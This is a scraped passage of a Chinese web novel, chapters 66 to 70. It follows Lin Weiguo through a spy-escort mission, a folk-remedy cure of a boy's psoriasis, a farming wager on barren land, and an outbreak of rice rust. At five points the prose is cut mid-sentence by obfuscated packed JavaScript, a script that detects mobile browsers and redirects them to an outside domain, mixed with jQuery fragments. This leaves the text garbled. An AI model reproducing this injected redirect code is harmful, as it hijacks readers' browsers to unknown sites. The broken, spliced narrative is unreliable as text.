双方争执不下，整个车间吵成了一锅粥。 就在这时，林卫国走上了那个用木箱临时搭建起来的主席台。 他没有讲任何空洞的大道理，而是伸出三根手指，用一种无比清晰、无比有力，足以让在场每一个人都热血沸腾的声音，为全厂的工人，算了三笔账！ “第一笔，我们算经济账！” “王主任说‘止血散’是金饭碗，没错！但这个碗，能装多少饭，是有数的！它的市场，主要在军队和工矿企业，是有限的，利润是有天花板的！” “可‘通脉丹’呢？它面向的是我们国家千千万万被心脑血管疾病困扰的老年人！这个市场有多大？我告诉你们，大到无法想象！” “一旦成功，我们工厂的利润，将不是翻一倍两倍，而是十倍，二十倍！到时候，大家能拿到的分红是多少？能享受到的福利是什么？是新房子，是新添的自行车，是让你们的子女，都能上全县最好的学校！” “第二笔，我们算**账！” 林卫国的声音，陡然拔高！ “大家别忘了，我们卫国制药厂，是‘省级重点创新试点单位’！是省里改革的一块试验田！国家和省里给了我们这么大的支持，不是让我们来守着功劳簿睡大觉的，是让我们来闯的！是让我们来当先锋，杀出一条血路的！” “我们如果只守着一个‘止血散’不思进取，如何向省里交代？如何向京城那些对我们寄予厚望的领导交代？” 最后，林卫国的目光，扫过在场每一个工人的脸，声音变得无比沉重。 “第三笔，我们算良心账！” “我问大家，我们是什么厂？是制药厂！我们制药厂的天职是什么？是治病救人！” “现在，我们明明有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那个人，竟是之前在京城疗养院，被当场抓获的间諜，本该在秘密监狱里度过余生的…… 张怀德，张副教授！ 此刻的张怀德，脸上没有丝毫阶下囚的狼狈，反而穿着一身崭新的中山装，头发梳理得一丝不苟。 第66章 戴罪立功，神秘的病人 张怀德看着眼前这座充满了勃勃生机的工厂，嘴角勾起了一抹无比诡异的微笑。 卫国制药厂，刚刚统一了思想，正准备大干一场的生产车间内，气氛热烈得如同盛夏的骄阳。 然而，这股冲天的干劲，却被一辆悄无声息地开到工厂门口的、挂着特殊京城牌照的军用吉普车，瞬间冷却了下来。 车门打开，两个身影一前一后地走了下来。 守在门口的赵胜利，在看清来人时，瞳孔猛地一缩！ 走在前面的年轻人，他认得，是京城陈岩老元勋最疼爱的孙子，陈援朝！ 而跟在他身后，那个穿着一身崭新中山装，脸上带着一丝诡异微笑的人，更是让他如坠冰窟！ 张怀德！ 那个本该在秘密监狱里，为自己的叛国罪行忏悔终生的间谍！他怎么会出现在这里？！ 赵胜利的心中，瞬间警铃大作！ …… 厂长办公室里，气氛凝重到了极点。 陈援朝没有客套，他屏退了左右，亲自为林卫国关上了门，脸上是与他年龄不符的严肃。 “卫国，我这次来，是带来了一个最高级别的，你无法拒绝的任务。” 他解释了事情的来龙去脉。 张怀德因为涉及的间谍案级别太高，罪行极其恶劣，在他被抓获的当晚，就被一个比**部门更加神秘的机构，接手了。 在审讯中，这个看似斯文的知识分子，展现出了惊人的意志力。但在他即将被执行“秘密处决”的前一刻，为了保住自己的性命，他吐露出了一个足以让整个京城都为之震动的惊天秘密。 他所在的那个境外间谍组织，除了他这条线之外，还曾派遣过一个代号为“画师”的、比他级别更高、潜伏更深的顶级特工，进入了华国。 而这个“画师”潜伏的地点，是华国最重要的、也是防卫最森严的核心科研单位之一——位于大西北戈壁沙漠深处的，“709核物理研究所”！ “最近，”陈援朝的声音，压得极低，“这个‘画师’，突然通过一个我们至今未能破译的秘密渠道，向他的上级组织，发出了求救信号。” “他说，他身患一种我们国内所有专家都无法诊断的怪病，生命垂危。” “而张怀德，”陈援朝看了一眼那个自始至终都带着诡异微笑的阶下囚，“是目前我们已知的，唯一一个知道如何与‘画师’建立初步信任，并且能让他放下戒心的人。” “所以，上级经过慎重研究，决定，派张怀德‘戴罪立功’。并命令你，林卫国同志，作为此次行动中，唯一的医疗专家，一同前往。” “我们的任务，只有一个。”陈援朝的目光，变得无比锐利，“不惜一切代价，在保住‘画师’性命的前提下，将他策反。如果无法策反，就地抓捕！” 林卫国瞬间明白了。 这是一个他根本无法拒绝，也绝不可能拒绝的任务。 这不仅是国家的命令，更关系到这个国家最核心的、核物理研究的安全！ 他刚刚在心中规划好的，那宏伟的工厂发展蓝图，在这一刻，不得不再次被无情地搁置。 就在这时，一直沉默的张怀德，缓缓地抬起了头。 他看着林卫国，那张斯文的脸上，露出了一丝病态的、近乎于快感的笑容。 “林大夫，没想到吧？我们这么快，又见面了。” 他的声音沙哑，带着一种说不出的嘲弄。 “这一次，我的这条贱命，可就完完全全地，掌握在你的手里了。你让我生，我便生。你让我死，我便死。” 他顿了顿，嘴角的笑意更浓了。 “不过，我还是要提醒你一句。那个‘画师’的病，很奇怪。奇怪到，连我们组织里，从瑞士请来的最顶级的医疗专家，都束手无策。我劝你，最好别抱太大的希望。” “否则，希望越大，失望，也就越大。” 这番话，既是挑衅，也是一种变相的炫耀。 林卫国平静地接受了任务。 但他同样提出了自己的条件。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200687|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以去。但是，我需要带上我的医疗助手，苏晚夏同志。” 陈援朝一愣：“为什么？” “‘709研究所’地处大西北，环境恶劣，条件艰苦。我需要一个我信得过的、专业的、并且能适应高强度工作的医疗助手，来配合我的工作。”林卫国给出的理由，无懈可击。 实际上，他只是不放心，将苏晚夏一个人，留在这个充满了未知变数的安平县。 陈援朝深深地看了他一眼，最终，点了点头。 …… 在出发前，林卫国将自己关在办公室里，整整一夜。 他将“通脉丹”所有可能遇到的技术要点，以及后续几款新药的研发方向和注意事项，都详细地，写在了一本厚厚的笔记本上。 第二天清晨，他将这本凝聚了他未来几年心血的笔记本，郑重地交到了老厂长王建民的手中。 “王主任，我不在的时候，厂子，就拜托你了。” 他还秘密地，约见了一次县长钱国栋。 他将此行的凶险，和盘托出，并将一封早已写好的、用火漆封口的信，留在了钱国栋的保险柜里。 “钱县长，这封信，是我留下的后手。如果，我回不来了，就请您，在最合适的时机，将它打开。” 做完这一切，林卫国再无牵挂。 一架没有任何标识的军用运输机，载着林卫国、苏晚夏、陈援朝，以及作为“诱饵”和“钥匙”的张怀德，从安平县的秘密军用机场，冲天而起，秘密飞往了那片充满了黄沙与未知的大西北。 当飞机穿过厚厚的云层，降落在一个被无尽的黄沙和戈壁所包围的、在任何地图上都找不到的秘密空军基地时。 林卫国知道，他即将要面对的，将不再是单纯的医学挑战。 而是一场，在国家心脏地带，与一个代号“画师”的顶级间谍，斗智斗勇的…… 生死之战。 那个神秘的病人，到底得了什么怪病？ 他的背后，又究竟隐藏着怎样惊天的秘密？ 第67章 空有民心，却无地可施！ 李大田站在红星公社前，脸上有点挂不住。耿大爷那句“饿肚子”的质问，戳中了在场每个农民心里最怕的东西。林卫国知道，人要是活不下去，再大的口号和许诺都是空的。 得让这些种地的人彻底相信他。 耿大爷见识了林卫国“隔空诊脉”的手段，心里虽惊，可这还不够。林卫国需要一个实实在在的、能让所有人服气的奇迹，像递“投名状”一样。 他目光一扫，从人群里拽出个男孩。这孩子又瘦又小，十岁模样。 一身厚厚的、银白的皮屑，鱼鳞似的长满了孩子身上。底下是大片大片刺眼的红斑，皮肤裂着口子。那孩子不停地抓挠，好几处都抓破了，血淋淋的，看得人心里发紧。 “我孙子，耿小栓。”耿大爷看着孙子，眼神里疼惜混着绝望。 他猛地抬头，用孤注一掷的目光死死盯住林卫国。 “林厂长！你有大本事！我不扯虚的！要是你能治好我孙子这被全县判了‘**’的牛皮癣，我耿老头这条命，这把老骨头，还有家里那几亩薄田，从今往后，全听你的！” “你说种药材就种药材！上刀山我也绝不含糊！” 字字铿锵！ 所有社员的目光，瞬间聚焦在林卫国身上。 “哟呵！这不是耿大爷吗？病急乱投医啦？”一个阴阳怪气的嗓音从人堆里冒出来。 一个脸上带麻子、斜着眼、背着破药箱的男人挤了出来。他是公社唯一的赤脚医生，王二麻子。他治了耿小栓几年，越治越糟。眼看林卫国这个“外来户”要动他的饭碗，王二麻子满心不忿。 他走到林卫国跟前，上下打量，撇嘴道：“林厂长，你不好好在厂里待着，跑这穷山沟逞什么能？你懂啥是牛皮癣？这孩子是娘胎里带出来的恶病！命里带的！神仙也救不了！” 他又冲着周围的社员嚷道：“大伙儿甭听他吹！他要是真能治好小栓，我王二麻子，当场给他磕头拜师！” 面对这般挑衅，林卫国眼皮都没抬。他不屑与这小丑争辩。 他蹲下身，轻轻拉过耿小栓那只血肉模糊的小手诊脉。片刻后站起身，对焦灼的耿大爷道：“大爷，让你家里人备三样东西。” “第一，灶膛里烧完的松木柴火灰，半瓢。” “第二，田边水沟的新鲜马齿苋，一把。” “第三，供销社买半斤最便宜的猪板油。” 这三样一说出来，全场哗然！ 灶灰？马齿苋？猪油？这能治病？ 王二麻子捧腹大笑：“嚯！我当是啥灵丹妙药呢！原来是喂猪的玩意儿！耿大爷，你可想好了，吃出人命来，我可管不着！” 耿大爷也犹豫了，但望向林卫国那双深不见底、却充满自信的眼睛，他一咬牙，冲身后吼：“愣着干啥！没听见林厂长的话？快去找！” 东西很快备齐。 林卫国立在当场，毫不避讳地指导耿家女人：把马齿苋捣烂取汁，混入猪油和松木炭粉，在火上慢慢熬制。最终，罐子里盛满了不起眼的黑乎乎油膏。 “这就完了？”王二麻子不屑地撇嘴。 林卫国充耳不闻。他从针囊中抽出几根银针，迅速刺入耿小栓腿上的穴位，手指轻捻。一股若有若无的湿热“毒气”似乎被逼了出来。原本因奇痒而躁动的耿小栓，竟奇迹般安静了。 接着，林卫国用木勺舀起那尚有余温的药膏，均匀涂抹在小栓那条最严重的伤腿上。 奇迹，猝然降临！ 前一秒还像个小疯子般抓挠自己、鲜血淋漓的耿小栓，药膏覆上腿的瞬间，骤然安静！紧皱的眉头舒展开，脸上露出久违的舒坦神色。眼皮一沉，他竟在爷爷怀里沉沉睡着了！ 半小时后，林卫国轻轻揭下药膏。 所有人倒吸一口凉气！ 耿小栓那条腿，原本树皮般红肿龟裂的伤处，竟已消退大半！流脓的伤口也结上了痂！ 这立竿见影、堪比神迹的效果，胜过千言万语！ “老天爷！真管用！” “不是亲眼见，打死我也不信！” “这哪是厂长？这是活神仙啊！” 农民们看林卫国的眼神，从敬畏彻底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200688|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成了狂热！ 耿大爷抱着发出香甜鼾声的孙子，布满皱纹的老脸上泪如雨下。 “噗通！”他就要给林卫国下跪履行诺言，却被林卫国一把牢牢扶住。 “大爷，使不得！我受不起！” 至于那王二麻子，此刻面红耳赤，羞愧得恨不得钻地缝。 人心，至此归附！ 耿大爷激动地抹着泪，就要立刻将自家最好的水田划作药材试验田。 就在这时—— “突突突——！” 一辆绿色的长江750挎斗摩托车，卷着烟尘疾驰而来。 车上跳下一个挺着啤酒肚、穿干部服的中年男人。他是县农业局主管生产的张科长。 他一下车，立刻举起一份盖着地区公署大红印章的文件，对着公社**李大田和全体社员，用不容置疑的官腔宣布： “接到地区紧急通知！为响应‘奋战一百天，粮食大丰收’号召，打赢地区粮食生产竞赛！红星公社所有耕地，即日起，必须全部改种地区推广的高产杂交水稻！” 他瞟了一眼脸色煞白的李大田，冷冷补充： “这是**任务！谁完不成，影响了全县排名，就地免职！李大田，我先摘你这顶乌纱帽！” 晴天霹雳！ 林卫国的所有计划，被这突如其来的命令，从根子上彻底堵死！ 空有民心，却无地可施！ 县农业局张科长的一席话，像寒冬腊月当头泼下的冰水，瞬间浇熄了红星公社社员们心中刚燃起的火苗。 那份救治耿小栓带来的希望之光，被这冠以“**任务”名头的公文彻底碾灭，只余一缕不甘的青烟。 谁看不出呢？这哪是什么粮食竞赛，分明是冲着林卫国、冲着红星公社来的赤裸阳谋！ 公社**李大田脸色涨得如同猪肝，盯着地区公署鲜红的印章，喉咙里硬是卡不出一句反驳的话。 耿大爷和其他社员气得浑身发抖，拳头攥得咯咯响。刚窥见一丝命运转机，转眼就要被这从天而降的“帽子”活活压垮！ 第68章 给它吊着口气续命！ 张科长看着林卫国和社员们憋屈难言的表情，心头畅快到了极点。 他正是要用这冠冕堂皇的理由，让林卫国吃哑巴亏，叫他所有心血付诸东流！ 就在他满心期待欣赏林卫国愤怒失态时，林卫国却笑了。 那笑容平静，迎着张科长挑衅的目光，坦然开口： “张科长说得对。响应号召、种好粮食，是咱农民的本分。” 他声音洪亮，响彻全场： “这个竞赛，红星公社接了！” 全场顿时一静。 张科长像看傻子似的瞪着他，心中冷哼：这是气糊涂了？ 林卫国并不理会，话锋陡然一转，抛出一个石破天惊的赌局： “不过，我有个小提议。既是竞赛，就得有彩头才带劲儿，是不是？” 他目光灼灼盯紧张科长： “卫国制药厂也想出力。公社那些好水田我们不要，”他语气一顿，掷地有声，“我们就要后山那片没人要的、满地乱石、最贫瘠的一亩坡地！” “我们就用这块地，参加竞赛！” “如果，”林卫国声调猛然拔高，“我们这破地的亩产能超过你们好地的平均产量！我不图奖励，只要求你张科长，代表县农业局当场特批红星公社一百亩药材种植基地指标！” “要是我们输了，”他嘴角勾起一抹极淡的弧度，带着不容置疑的自信，“卫国制药厂无偿捐赠红星公社一台全新的‘东方红’拖拉机！” “轰——！”打谷场瞬间炸开了锅。 最烂的地挑最好的田？ 输了还白送拖拉机？！ 这……不是疯了吗？！ 张科长短暂错愕后，心头被巨大的狂喜淹没。他简直不敢相信自己的耳朵！他只想刁难对方使其退缩，谁知林卫国竟蠢到主动送上政绩和厚礼！这岂有拒绝之理？ “好！好！好！”他生怕对方反悔，连连拍腿大笑，“林厂长果然有魄力！有担当！这赌，县农业局跟你打了！”他扬手指着周围社员，“今天在场的全体社员同志，都是见证！” …… 赌约定下，红星公社内部却因这疯狂举动彻底撕裂。 耿大爷为首的“铁杆拥护派”声如洪钟：“我这把老骨头是林先生救的，孙子的病也是林先生治的！他说石头里能种出粮，老头子就信！我家那份地，第一个拿出来跟他干！” 以种地老把式赵老四为首的“顽固不信派”，则蹲在田埂上吧嗒旱烟，满脸不屑：“胡闹！我认他有救人本事，可种地是祖宗传下的硬功夫！靠的是水土节气，不是嘴皮子！在石头上种粮？这是拿老天爷开玩笑！我赵老四不跟着他疯！” 而以家贫劳力少的李二蛋为代表的“摇摆派”，则进退两难。 林卫国点燃的那点火星，在李二蛋心里头扑闪了几下，可那光亮总不稳当——万一折腾坏了，连眼下这勉强糊口的饭碗都得砸了。这犹豫不决的心思，社里人暗地里都存着。 …… 赌约定下的当天后晌，林卫国一点没耽搁，领着几十个愿意跟他走的汉子，直奔后山荒地。 抬眼望去，哪有什么像样的田？分明是个乱石滩：脚下踩的是硌人的硬石头，鹅卵石铺了一地，几根枯草蔫蔫地抖着风。锄头刨下去，掘不到半尺深，就听“铛”的一声脆响，狠狠磕在结实的硬石板上。 人群里顿时响起几声闷闷的叹气，个个眉头都拧成了疙瘩。就连最信他的老耿头，手心都湿漉漉的，汗直往烟杆上沾。可林卫国开口头一句话，比脚下的石头还让人发懵： “娃们，过来！”他招手叫过旁边看热闹的半大小子，“去田埂边上，给叔挖蚯蚓！越多越好！挖来了，就找你们赵胜利叔换糖吃！” 接着，他那根粗糙的手指头点了点李二蛋几个人： “你们几个，甭问，就在这儿给俺使劲挖坑！” “挖坑？”李二蛋只觉得脑袋嗡地一震。 “养土。”两个字干脆利落地砸在地上。 养土？一帮子人你看我，我看你，全傻了眼。 不远处看热闹的赵老四，“呸”一口啐掉嘴里的烟屁股，嗓门扯得老高：“挖坑？他林卫国到底是开荒啊，还是想刨鱼塘？我看呐，这小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200689|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八成是真魔怔了！” 一转眼，后山那片乱石坡就成了全村饭桌上的笑话。也就老耿头和他手下几个倔人，顶着旁人看傻子似的目光，闷声不响地跟着林卫国干。 一波接一波的冷嘲热讽涌过来，林卫国半个字的解释都懒得多费。 他把李二蛋几个“敢胡闹”的后生叫到刚挖成的大土坑前，用庄稼汉明白的白话开了腔，说的却是在红星公社都算新鲜的“庄稼经”。 “叔伯兄弟伙，我知道大伙儿心里敲鼓。”他嗓门低沉厚实，“这块地啊，病了，就像熬空了力气的汉子，瘫在炕上起不了身，才连棵像样的苗都顶不起来。” 他弯下腰，抓了把硬得板结的土块，手指用力搓了搓，细沙似的土沫子就从指头缝里簌簌往下掉。 “咱眼下要干的，不是急着上粪催它，是给它吊着口气，续命！” 他指挥着大伙，把准备好的沤肥一层一层往大坑里铺，每铺一层，都撒下不少扭动着身子的活蚯蚓。 蚯蚓，还有这慢慢沤好的肥，就是林卫国给这块病地预备下的药。这理儿说得实在，让老把式听着也觉着对路。 夜里，李二蛋拖着快累散架的身子蹭回家。媳妇瞥了眼快见底的米缸，又瞅瞅炕上那几张没几两肉的小脸，眼圈一下子红了。 “二蛋，你…你莫不是真傻了？满村就你信他林厂长那一套！挖坑能挖出大白馒头来？咱家锅都快揭不开了！” 李二蛋闷着声没应，心里头翻江倒海。可再想想林卫国那沉稳的调门、半点不含糊的眼神，想想自家冷灶隔三差五就冰凉，他把心一横，牙根一咬：“赌了！” 他心里有他的盘算：人家林卫国放着城里稳当的前程不要，图啥跑回这穷旮旯啃石头？这样的人，没真本事，谁肯淌这浑水？ 天一亮，后山那片乱石滩上，李二蛋抡的锄头比谁都下死力。他瞪着熬了一宿的通红眼睛，冲着旁边同样快揭不开锅的几个邻居兄弟喊道： “哥几个！咱的命都贱成泥巴了，还怕个球！” “跟着林厂长，豁出去试试！兴许真能闯出条活路来！” 第69章 最后一丝希望！ 林卫国在红星公社的第一拨“自己人”，全是村里最穷、最想翻身的那几个。 转眼十天过去。 林卫国把李二蛋几个带到村外荒地，指着几个草草盖着的土坑：“挖开。” 看热闹的早围了过来，连向来认死理的老庄稼把式赵老四也挤在前面。坑一开，全傻眼了！ 哪还有什么烂草臭粪？ 眼前那土，乌黑油亮，又松又软，泛着股湿漉漉的泥土清香味，瞧着比公社里最肥的水田还带劲！ “老天爷！这咋弄的？”赤脚医生王二麻子使劲眨巴眼。 赵老四一声不吭，铁青着脸紧走几步。他猛地从随身粪筐里抓出一把自己精心侍弄的“宝贝肥”，又从林卫国的坑里狠狠抠了一大把黑土。 两下一比，当场现了原形！ 他那引以为傲的粪肥又稠又黏，味儿刺鼻刺眼；林卫国这黑土，闻着清清爽爽，抓在手里松得就像……对，就像女人家抹脸的香粉！黑油油的，手指头搓搓，竟像是捏着要淌出油来！ 赵老四那张老树皮似的脸，腾地涨成了酱紫的猪肝色。 他一言不发。 在所有人的注视下，他默默扔掉手里的农家肥，扛起锄头，大步走进那片被视为不祥的试验田，沉默地挥锄翻地。 这无声的行动，比任何喊叫都更有力！彻底打消了所有人最后的疑虑！ “还愣着干啥！没见赵四爷都动了？抄家伙，干活！” “跟着林厂长，有肉吃！” 人心，彻底归拢！ 土的问题解决了，人心也齐了。 第二天，县农业局的张科长又来了。 这回，他装模作样地带来了上面特批的好种子。 当着众人面，他把一袋袋金灿饱满的稻种，分给了生产队的大田。 最后踱到林卫国跟前，随手扔下个破麻袋，里头全是干瘪发霉的陈年次货。 “林厂长，实在对不住，今年好种子就这么多。你这试验田是临时加的，委屈点，拿去年的凑合凑合吧！” 耿大爷气得浑身直哆嗦，抬脚就要冲上去：“这不是明摆着欺负人吗！” 张科长两手一摊：“计划调拨，不能改。” 他就是要让林卫国吃个哑巴亏！ 地再肥又能怎样？ 没好种子，神仙来了也白搭！ “太欺负人了！拿这堆烂货糊弄咱们？” “坏种下地，再好也白瞎！” “完了……拖拉机怕是没指望了……” 可当事人林卫国却瞧不出半点火气。他 只是平静地弯下腰，提起那袋次种，对着跨上摩托准备溜的张科长，朗声笑道： “谢了张科长的好种子！” 这话不卑不亢，却莫名让张科长和他身边那几个等着看笑话的，后脊梁蹿起一股凉气。 这小子……葫芦里到底卖的什么药？ 夜深了，林卫国在公社那间简陋的土屋里，悄无声息地鼓捣着一样足以改写规则的东西，特制的浸种灵液。 他以【上古炼药术】的法门为根基，掺进了田埂边常见的催芽草药。 最后他刺破指尖，一滴温热的血珠沁了出来。 血珠坠入黝黑的药液。 没有惊天动地的变化。 血液融入的瞬间便消失无踪，那药液看起来依旧平平无奇。 唯有林卫国心里雪亮，它已是化腐朽为神奇的重生之源！ 天刚蒙蒙亮。 社员李二蛋带着几个人，在林卫国指点下，把那袋被判了“**”的霉瘪种子，用那神奇药液足足泡了好几个时辰。 与此同时，林卫国彻底颠覆了祖祖辈辈“满天星”撒种的老法子。他在那片肥得流油的“神仙地”里绷紧标线，撒下石灰粉，画出一道道笔直的田垄。 “地力再好也有限，”他解释道，“每粒种子，都该有它伸展手脚、饱受阳光雨露的地盘！” “都看清线！株距行距一步不许错！埋种的深浅，正好两指节！”他指挥着这近乎绣花般的精细播种，仿佛在田亩上勾勒着丰收的图景。 这闻所未闻的法子，让围观的人们目瞪口呆。 连最顽固的老把式赵老四，也把满腹的牢骚话咽了回去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200690|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他悄无声息地跟在队伍尾巴上，浑浊的老眼瞪得溜圆，屏息凝神，紧紧盯着林卫国手上的每一个细小动作，一丝不苟地跟着比划、学习。 一周后，胜负关头。 心急如焚的社员们天没亮就涌到公社寄予厚望的大田。 眼前的景象却让他们心凉半截：田里的秧苗稀稀拉拉，参差不齐，出苗率顶多七八成。 “唉，今年的‘良种’也不咋样……”众人垂头丧气。 不知谁小声提议：“要不……去后山看看林厂长那块地？” 这句轻语像火星，瞬间点燃了最后一丝希望！ 当众人怀着忐忑赶到那片曾经的乱石贫瘠坡地时，所有人都像被钉在了地上，彻底僵住！ 目之所及，曾经寸草不生的坡地，此刻铺满了整整齐齐、密不透风的翠绿秧苗！如同绿色军团严阵以待，每一株间距、行距分毫不差！出苗率，惊人的百分之百！ 肉眼可见，这里的每一棵苗都比大田的壮上一倍，生机盎然！ 这哪里是种地？ 这是神迹！ 短暂的死寂后，震耳欲聋的欢呼爆发出来： “老天爷！活了！石头地里真长苗了！” “林厂长是神仙下凡！真神仙啊！” “神仙地！真是神仙地！” “神仙地”的神话像风一样刮遍了安平县每个角落。饱受粮食困扰的农民们跋涉几十里涌来“取经”。耿大爷、李二蛋这些第一批跟林卫国干的人，被奉若“农业专家”，脸上洋溢着从未有过的自豪与喜悦。 然而，在这片赞叹的海洋里，林卫国却独自蹲在绿油油的秧苗地中，眉头紧锁。 他远超时代的农学知识，让他敏锐地发现了几片长势最好的叶子背面——那里藏匿着一些微小的、针尖般的锈红色斑点。 他的心瞬间沉入谷底。 这不是普通的病。 这是一种1979年的华夏无药可治、毁灭性绝症——水稻恶性锈病！传播极快，一旦爆发，颗粒无收！ 一场比人祸可怕百倍的天灾，正在悄然酝酿，无人察觉。 第70章 军工研究所 红星公社的“神仙地”，稻浪翻滚，绿意逼人，连田间飘来的风都带着湿热的禾香，偶尔有青蛙“噗通”跃入水田的轻响。 田埂上，林卫国这个脊背微微佝偻的男人蹲下身，小心翼翼地捻起一株格外壮实的禾苗。他的指尖沾上了泥土和清冽的露水，那凉意仿佛顺着指尖钻进了心里。 眼前丰收在望的盛景，却丝毫没能抹去他眉心的沉重，那里凝结着化不开的忧虑，像一片乌云压在晴空之上。 他轻轻翻过叶片，指着叶背面几个针尖大小的锈红色斑点，声音低沉地对身边的公社**李大田和耿大爷说：“李**，耿大爷，出大事了。” 两人凑近细看，脸上带着疑惑。李大田不以为意：“林厂长，庄稼地里见点锈斑，常有的事，不打紧。” “是啊，林先生，”耿大爷也笑着劝慰，随手抹了把额头的汗珠，“您在城里待久了，乡下事见着少。这苗子长得多结实，几个锈点碍不着啥，甭自己吓自己。”他粗糙的手还拍了拍近旁饱满的谷穗，引来谷粒轻微的摩擦声。 林卫国缓缓站起身，摇了摇头。他深深吸了一口气，田野混合着水汽的泥土气息涌入鼻腔，仿佛要吸尽这田野间不安的气息。 他心知肚明，眼下没人能懂得这几个不起眼的小点意味着什么。“这不是普通的锈病，”他的声音斩钉截铁，带着不容置疑的分量，“是瘟疫！能让安平县水稻绝收的大疫！” 他的目光锐利地扫过众人，厉声道：“立刻！把这片地封死！谁也不准再踏进一步！下过田的，马上用石灰水冲鞋底、裤腿！” 这话像块巨石砸进平静的水里。 明明是好到不能再好的庄稼，就为了几个锈点要大动干戈？ 田野上空的笑语闲聊瞬间凝固了，众人脸上写满荒唐和不解。有人低声嘟囔着，声音里尽是不信。 丰收的喜悦蒙住了眼睛，谁也没看见那悄然逼近的杀机。 消息传到县里，农业局的张科长先是一愣，随即发出一阵刺耳的嗤笑！ 他如同发现了猎物气息的鬣狗，立刻在干部间散布开来，语调里满是窥见隐秘的兴奋：“听听！红星公社那个林卫国，去年改良盐碱地夸下海口成了‘神医’，如今石头地的赌局眼看要砸，这就开始装神弄鬼了！ 编个‘瘟疫’的由头，想给自己找台阶下！什么‘神医’，我看就是个江湖骗子！” …… 林卫国的警告，终究一语成谶，化作扎进这片土地的冰冷利刃。 仅仅三天后，一场夜雨悄然落下，无声地浸润着大地。雨丝细密，敲打着窗棂和屋顶，发出沙沙的轻响。 这温润的雨水，成了死神吹响的号角。 暖湿的空气，给了潜伏在叶片背后的恶性真菌孢子最完美的温床，它们开始疯狂繁殖、蔓延！ 第二天清晨，一个社员揣着点侥幸心理走向“神仙地”查看。 刚踏上田埂，一声撕裂长空的、充满恐惧的惨叫骤然响起：“啊——！我的天呐！” 全村人被惊醒，扛着锄头冲向后山。 眼前的景象让他们如遭雷击，僵在原地——昨日还绿如翡翠、承载着所有希望的“神仙地”，竟像被天火燎过！ 大片刺目的枯黄吞噬了田野，茁壮的禾苗蔫头耷脑，叶片上密密麻麻布满了血锈般的病斑！空气中弥漫着植物腐烂的恶臭，混杂着一种令人作呕的甜腻，那气味甜腻又致命。 耿大爷踉跄扑到田边，看清那些一夜枯萎的秧苗，双腿一软，瘫坐在泥地里。 他布满沟壑的脸上只剩下恐惧和悔恨。 “啪！”他狠狠扇了自己一记耳光！脆响声在死寂的田野中格外清晰。 “老糊涂！我真是老糊涂蛋啊！” 滚烫的泪水涌出浑浊的眼，“林先生的金玉良言，我咋就当耳旁风了！我……我对不住林先生啊！” 先前不以为然的社员们面如死灰，肠子都悔青了。他们呆立着，手脚冰凉。 他们终于明白，林卫国的话，字字是血！ 人群像炸了锅的蚂蚁，手忙脚乱地砍树拉绳，用最快的速度封锁了整片“神仙地”。 但，太迟了。 封锁的绳索刚拉紧，李大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200691|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田办公室的电话就疯了般响起，一个接一个，全是催命符： “喂！红星公社吗？我是和平公社！我们水稻今早全染上锈病了！跟你们‘神仙地’一模一样！” “李**！前进公社也完了！全爆发了！全完了！” 每一个坏消息都像重锤砸在李大田心上。 